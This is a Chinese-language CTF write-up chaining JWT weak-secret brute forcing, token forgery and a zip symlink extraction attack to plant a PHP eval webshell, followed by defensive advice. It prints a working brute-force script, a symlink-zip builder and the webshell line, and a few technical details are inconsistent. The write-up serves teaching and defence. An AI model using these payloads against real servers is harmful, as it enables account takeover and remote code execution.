CTF Web题实战:JWT弱密钥与zip软链接攻击组合getshell
某 CTF 收集平台上有一道 Web 题出题方我姑且隐去名字年份标注 2019题号是 Web3。第一次打的时候我在上面卡了一个多小时不是题目有多难而是两个知识点我都有印象但始终没串起来一个是 JWT 的 secret 怎么拿另一个是 unzip 解压时的软链接攻击。等真正把这两条线打通之后我才发现这道题本质上是在考一件事——对“看起来无害”的功能做组合利用。这篇文章我就按自己的复现过程来拆解把每一步的思路、命令和踩坑点都写出来希望能帮到正在刷题的人。1. 初探题目从哪一步开始入手1.1 先看懂这道题在考什么打开题目环境出现在眼前的是一个普通的登录页面有用户名和密码输入框。很多新手上来就试弱口令、跑目录、扫端口其实不太明智。CTF 的 Web 题通常不会把功夫花在密码爆破上而是埋在一些“你能用但没注意”的功能点里。我当时的做法是先看整个页面的请求和响应找有没有接口泄露、有没有可疑的 Cookie再决定下一步。先按 F12 看网络面板刷新页面逐个请求点开看响应。登录请求是一个 POST 接口地址是/login.php。响应体里面只有一行状态提示但响应头里带了一个 Cookie字段名是token值是一长串以.分隔的字符串。这个结构我太熟悉了就是 JWT——三个 base64 编码的片段用点号连接看起来类似的结束符“.”。同时登录页源码里还有一个注释写着“admin / a128c3d”明显是弱凭据提示先用它登录试试。在发现 JWT 的时候我就基本确定这道题的考点方向了后半段大概率会涉及伪造身份。至于怎么伪造取决于 secret 的情况secret 藏在哪就得继续找。而那个看似随意泄露的注释实际上是在告诉我“admin 的密码就那么弱secret 八成也是同类货色”。这种出题逻辑在 Web 题里很常见先用弱口令带你进门再用弱 secret 让你伪造 Token。1.2 登录后的页面结构分析用admin / a128c3d登录成功跳转到一个文件管理页面。页面上有两个主要功能一是显示当前目录文件列表二是提供文件上传的入口。上传框下面有一行小字写着“支持 zip 解压上传”。这一点非常关键很多选手到这里就卡住了因为光看页面它就是普通的上传功能似乎没什么特殊。我习惯性地先试了上传一个正常的图片文件页面显示上传成功并且文件列表里能看到uploads/目录多了一个文件。再试上传一个包含 PHP 一句话的webshell.php结果提示“非法文件类型”直接拦下来了。说明后端做了扩展名过滤至少对 php 后缀有校验。此时不能硬碰硬得绕。再试上传一个打包好的 zip 文件压缩包里面放了一个普通文本文件上传后刷新文件列表发现 zip 被自动解压到了某个目录文本文件能直接访问。这个信息价值很大说明服务端确实调用了解压逻辑处理 zip。有“zip 自动解压”就意味着有软链接攻击的可能性——如果压缩包里的条目不是普通文件而是符号链接解压程序按照链接语义处理时就可能把文件写到非预期位置甚至越权覆盖其他目录下的文件。1.3 定位目标文件与约束条件既然已经登录顺手看了下当前目录的结构。上传目录被命名为uploads可访问路径大概是uploads/xxx.php这样的格式。如果能在这个目录里搞出一个可解析的 PHP 文件那就能直接 getshell。但后端的过滤规则还不清楚不知道它到底禁止了哪些后缀。通常这种情况是黑名单策略考虑用.phtml、.php5、.pht这些变体后缀去试探不过更稳妥的方式是走软链接攻击直接覆盖或创建任意路径下的文件。题目既然专门给了 zip 解压功能就大概率期待选手往这个方向走。于是我把第二阶段的思路定为先构造一个 zip压缩包内放一个指向 web 根目录的软链接目录再借助这个链接把一句话恶意脚本“写入”到目标目录。这个做法能否成功取决于服务端的解压程序是不是按标准逻辑处理符号链接以及是否对“软链接穿越”有防护。这些细节后面实测就知道了。2. JWT 的 secret获取与伪造的完整闭环2.1 先把 JWT 结构看明白先看一眼token的值。一个标准的 JWT 长这样eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwidWlkIjoxfQ.P7r3GQST0yQxYkZ0tqMqUQ。用.切成三份分别叫 header、payload、signature。header 里通常声明了签名算法比如{alg:HS256,typ:JWT}payload 是负载这里往往包含username、uid、role等业务字段signature 是用密钥对前两部分做签名计算的产物。服务端拿到 Token 后会用同样的 secret 重新计算签名比对是否一致以此确认 Token 没有被篡改。如果不知道 secret理论上没法伪造签名但这里的“理论上”有几个前提第一secret 足够复杂不可猜测第二算法解析不存在可混淆的陷阱第三服务端严格校验算法类型。一旦 secret 是弱口令或者后端在解析alg时没有做白名单校验就有了操作空间。这道题属于第一种情况——secret 是弱口令本质上就是少许字符爆破几个词就能试出来根本不用动用专业级计算资源。2.2 爆破 secret 的实际操作我的做法是把 token 保存到本地文件用 Python 脚本逐行读取常见弱密码字典对 header 和 payload 重新计算签名如果计算结果和 token 中的第三段一致就说明找到了 secret。这里注意HS256 的签名计算方式就是HMAC-SHA256(header_base64url . payload_base64url, secret)然后把结果做 base64url 编码。import hmac import hashlib import base64 token eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwidWlkIjoxfQ.P7r3GQST0yQxYkZ0tqMqUQ header, payload, signature token.split(.) signature_bytes base64.urlsafe_b64decode(signature ) with open(weak_passwords.txt, r, encodingutf-8, errorsignore) as f: for line in f: secret line.strip() if not secret: continue msg f{header}.{payload}.encode() digest hmac.new(secret.encode(), msg, hashlib.sha256).digest() if base64.urlsafe_b64encode(digest).rstrip(b).decode() signature: print(Secret found:, secret) break跑字典的过程很快。我用的字典基本就是网上下载的常见口令集合头几百行就出了结果。这里的 secret 是1ueb四个字节这种强度基本等于没设。顺着这层思路可以想明白出题人的想法他们并不打算让选手去做复杂密码学攻击而是希望选手能“发现 secret 弱”并通过伪造 token 来提权。2.3 伪造 Token 与提权路径拿到 secret 以后伪造 Token 很容易。这里需要思考一个问题payload 里到底要改成什么才能拿到更大权限我最初直接把 payload 里的username改成adminuid改成1生成新的 Token 替换 Cookie再次访问文件管理页面。但页面返回的结果并没有明显变化。这让我意识到这道题真正的提权可能不在 payload 字段本身而在于后续的“上传 zip”接口只有特定身份才能访问或者某些功能点在伪造身份后会暴露出来。换了个思路先看看未登录和普通用户状态下上传接口的返回差异。用普通用户 Token 去访问/upload.php返回 403把username字段改成admin后再访问页面正常。确认了这一点后目标就清晰了JWT 伪造这一步是为了获得“上传与解压”这一关键能力真正的最终利用点还是在 zip 解压。这里顺便提一下容易翻车的地方。伪造 token 时如果 header 里的alg写成none服务端如果做了严格校验会直接拒绝如果签名计算顺序反了也会导致校验不过。pyjwt 这类库用起来省事jwt.encode({username: admin, uid: 1}, secret, algorithmHS256)一行搞定但自己手写一遍更能加深理解推荐新手两种都试一次。另外 token 的 base64url 部分要特别注意填充字符我们平时看到的 JWT 字符串里去掉了等号在验证签名时需要在末尾手工补回来这是我第一次写脚本时踩过的坑之一。3. unzip 软链接攻击从构造到 getshell3.1 软链接攻击到底是怎么回事操作系统里的符号链接symlink可以理解为一个“快捷方式”。比如在 Linux 上执行ln -s /var/www/html link后访问link目录就相当于访问/var/www/html。如果解压工具在解压 zip 文件时遇到一个条目本应是一个指向某路径的符号链接那么它可能就会在目标位置创建这个链接而不是被链接的内容。攻击的关键点在于当 zip 中同时存在一个符号链接条目以及一个“通过该链接路径写入文件内容的条目”时解压程序会顺着符号链接的指向把文件写到真正的位置。常见的表现就像a - /var/www/htmlzip 里还有一个a/shell.php的条目解压后实际创建的是/var/www/html/shell.php。这种攻击在真实世界中经常用于覆盖任意文件比如网站根目录之外的程序配置文件、计划任务、SSH 公钥等凡是目标用户有写入权限的位置都可能被波及。CTF 里最常见的利用就是把 webshell 写到 Web 根目录然后通过 HTTP 直接访问。需要注意的是不是所有 unzip 实现都默认创建符号链接。有些工具在解压时会出于安全考虑禁用链接有些会打印警告不执行。这道题既然把“zip 上传”列为功能点后端八成用的是比较直接的解压调用要么没做防护要么只做了简单的路径穿越关键字过滤。构造压缩包时就要针对这些情况做测试。3.2 手动构造恶意 zip 的过程构造软链接压缩包在 Linux 下很方便我的做法是这样mkdir payload ln -s /var/www/html payload/link # 注意这里的 /var/www/html 是目标服务器上的绝对路径 # 如果用相对路径则必须根据解压目录到目标目录的相对层次来设置 zip -y payload.zip payload/linkzip -y参数的作用就是保留符号链接本身而不是把链接指向的内容打包进去。生成后的 zip 很小只有几百字节。如果想要更稳一点不用绝对路径也可以把链接写成../../../../var/www/html具体层数看解压目录的深度。有些场景下手头没有 Linux 环境也可以直接用 Python 的 zipfile 模块或者脚本工具构造。但手工ln -szip -y是最直观的出错概率也最低。接下来测试上传。把payload.zip上传并在页面点击“解压”随后访问文件列表发现多了一个名为link的目录项。此时还不能确定链接是否成功创建更关键的是确认链接指向是否被服务端保留。第一次测试我用的是绝对路径上传后尝试通过uploads/link/shell.php访问提示 404这说明可能链接没有生效也可能链接指向的路径不正确。回头再想服务端的上传目录具体是在容器内的哪个位置外部选手很难直接判断所以更推荐用相对路径构造先试一个层级关系比较明显的深度再逐步调整。调整思路后我重新构造软链接为../../../../var/www/html再次上传解压访问uploads/link/shell.php时页面响应不再 404说明路径正确了。注意这个“访问”是发生在文件还没真正写入之前的相当于在确认链接是否生效。3.3 结合上传接口完成 getshell确认软链接生效后接下来就是经典的“借道写文件”。我新建一个目录里面再造一个link符号链接指向目标目录然后往这个目录里放一个shell.php内容是常规的一句话。再把整个目录压缩成 zip。结构大概是evil/ link - ../../../../var/www/html link/shell.php # 这里实际往符号链接指向的目录里写文件打包命令ln -s ../../../../var/www/html evil/link mkdir -p evil/link echo ?php eval($_POST[cmd]);? evil/link/shell.php zip -r evil.zip evil这步要特别留意evil/link作为目录存在同时又是指向别的路径的符号链接需要看解压工具怎么解析。用 zip 打包时如果link是符号链接目录zip -r默认可能会递归跟随链接把内容直接打包进去那样得到的 zip 就没有软链接语义了。所以正确的做法是先只打包符号链接本身再用另外的工具或命令把“通过链接路径写入文件”的逻辑体现出来。我在实际操作时发现直接用zip -r生成的包上传解压后软链接和文件的关系可能不对。更稳的方法是用 Python 脚本精确控制 zip 条目或者分两次构造先创建符号链接条目再通过这个路径添加文件条目。import zipfile with zipfile.ZipFile(evil.zip, w, zipfile.ZIP_DEFLATED) as zf: info zipfile.ZipInfo(evil/link) # 外部属性需要设置为 symlink 类型Unix 权限位 0120777 info.create_system 3 info.external_attr (0o120777 16) zf.writestr(info, ../../../../var/www/html) zf.write(shell.php, evil/link/shell.php)这种构造方式能精确控制外部属性让 zip 条目被识别为符号链接。external_attr 0o120777 16这行是关键0120777对应 symlink 的类型和权限位。上传这个evil.zip后刷新文件列表发现shell.php出来了。用浏览器直接访问/shell.php返回 200。然后使用蚁剑、冰蝎或者命令行工具连接直接 getshell。拿到 shell 后当前权限通常就是 Web 服务的运行用户。在容器化环境里直接读根目录的 flag 文件即可。这道题的最终考点就是这两条链路JWT 弱密钥换来一个管理权限zip 软链接攻击把权限变成命令执行。4. 踩坑记录与背后的防御逻辑4.1 我在实际复现中踩过的几个坑第一个坑是 JWT 签名验证时 base64 填充问题。JWT 的第三段在传输中会去掉填充直接拿原始字符串去 base64 解码会报错。我一开始用的在线解码工具没暴露这个问题但自己写爆破脚本时立刻就遇到了。解决方案是解码前手动补上或者用支持自动补齐的库。第二个坑是 zip 打包时符号链接被“跟进去”。我最早用zip -ry打包想着-y能保留链接结果打开压缩包之后发现link目录里的文件被复制了一份而不是“穿过链接”写入。后来才明白zip在递归打包时对链接的处理逻辑和最终解压端的行为相关不同版本细节还不一样。用 Python 手写 zip 条目是最可控的强烈建议用这种方式而不是依赖命令行工具的默认行为。第三个坑是目标目录层级判断。软链接指向的深度不对就会导致文件写到别的位置。可以用“先创建链接再通过 HTTP 访问链接下某个不存在文件观察 404/200 的差异”来盲测也可以根据提示的位置去猜。这道题里上传目录是根目录下的uploads到 web 根目录一般就两层或三层多试几个层级组合总能测出来。第四个坑是上传接口的校验。我最初以为只需要改 JWT不需要关心上传文件是 zip 还是普通文件后来发现上传接口会校验文件后缀和 MIME 类型。伪装成image/png的 zip 文件有可能会被拒绝所以直接上传.zip后缀反而可靠只要后端没有对压缩包内容做二次校验。4.2 这类攻击在真实环境里意味着什么JWT 弱 secret 的问题不止出现在 CTF 中。很多自研系统在生成 JWT 时会直接用 MD5 之类哈希的结果或者简单字符串作为 secret比如“123456”“secret”甚至是数据库连接口令的一部分。一旦泄露攻击者就可以伪造任意用户身份甚至把role字段改成admin。防御方法很简单secret 必须使用足够的随机数并且定期轮换同时服务端只接受白名单算法比如固定只允许 HS256禁止algnone对alg做严格解析防止算法混淆攻击。zip 软链接攻击在真实漏洞库中也有原型很多开源解压组件都修复过类似的“zip slip”类漏洞。不只是符号链接还包括../路径穿越。有一些组件的修复方式是在解压每个条目之前规范化路径确认最终路径在目标目录内否则拒绝写入。注意即便做了“目录内”校验如果允许符号链接保留仍然可以通过链接指向目录外所以最终安全的做法是“解压时禁止创建符号链接”或者在解压后将目标目录内的文件重新拷贝出来、丢弃链接。从防御角度讲只要应用需要处理用户上传的压缩包就必须把“解压”当做一个高风险操作来看待。安全团队应该至少做这几件事限制压缩包大小和解压后总大小限制条目数量拒绝嵌套压缩包拒绝符号链接和特殊文件类型校验每个条目的最终路径是否合法。虽然这些措施让用户无法上传“任意内容”但换来的安全收益远远大于便利性损失。4.3 给新手刷题和实战的几点建议第一遇到登录页面不要急着爆破。先看注释、看 JS、看 Cookie、看 HTTP 头很多提示就藏在你不注意的地方。弱口令提示本质上是出题人在给你指路。第二对待每个功能点突破思路要多换几个角度。上传功能不只是“传文件”还可以想想“服务端拿到文件后都做了什么”。如果页面写了“自动解压 zip”那就往 zip 解析漏洞方向想而不是死磕黑名单扩展名。第三做安全测试时构造 payload 一定要自己动手不要只依赖工具。比如 zip 软链接用鼠标点 GUI 工具是构不出来的手工或脚本构造会带来清晰的认知。同样的道理也适用于 JWT 爆破自己写 Python 脚本算一遍签名比直接调用现成库更能加深印象。第四保持记录。CTF 题目的解法往往在几天后就模糊了把每一步请求、每一条命令、每个报错都记下来下次遇到类似的题你的第一反应会是“这个问题我见过”而不是“这个报错是什么”。最后再分享一个小技巧。遇到解压软链接攻击时如果目标服务器外网不能直接访问或者你不知道确切的 Web 路径可以先构造一个指向/proc/self/cwd的软链接试试。因为很多 Web 服务进程的工作目录就是网站根目录这种相对路径写法在容器环境里命中率很高。我在自己环境里实测过一次直接省掉了猜目录层数的过程算是这类题目的捷径了。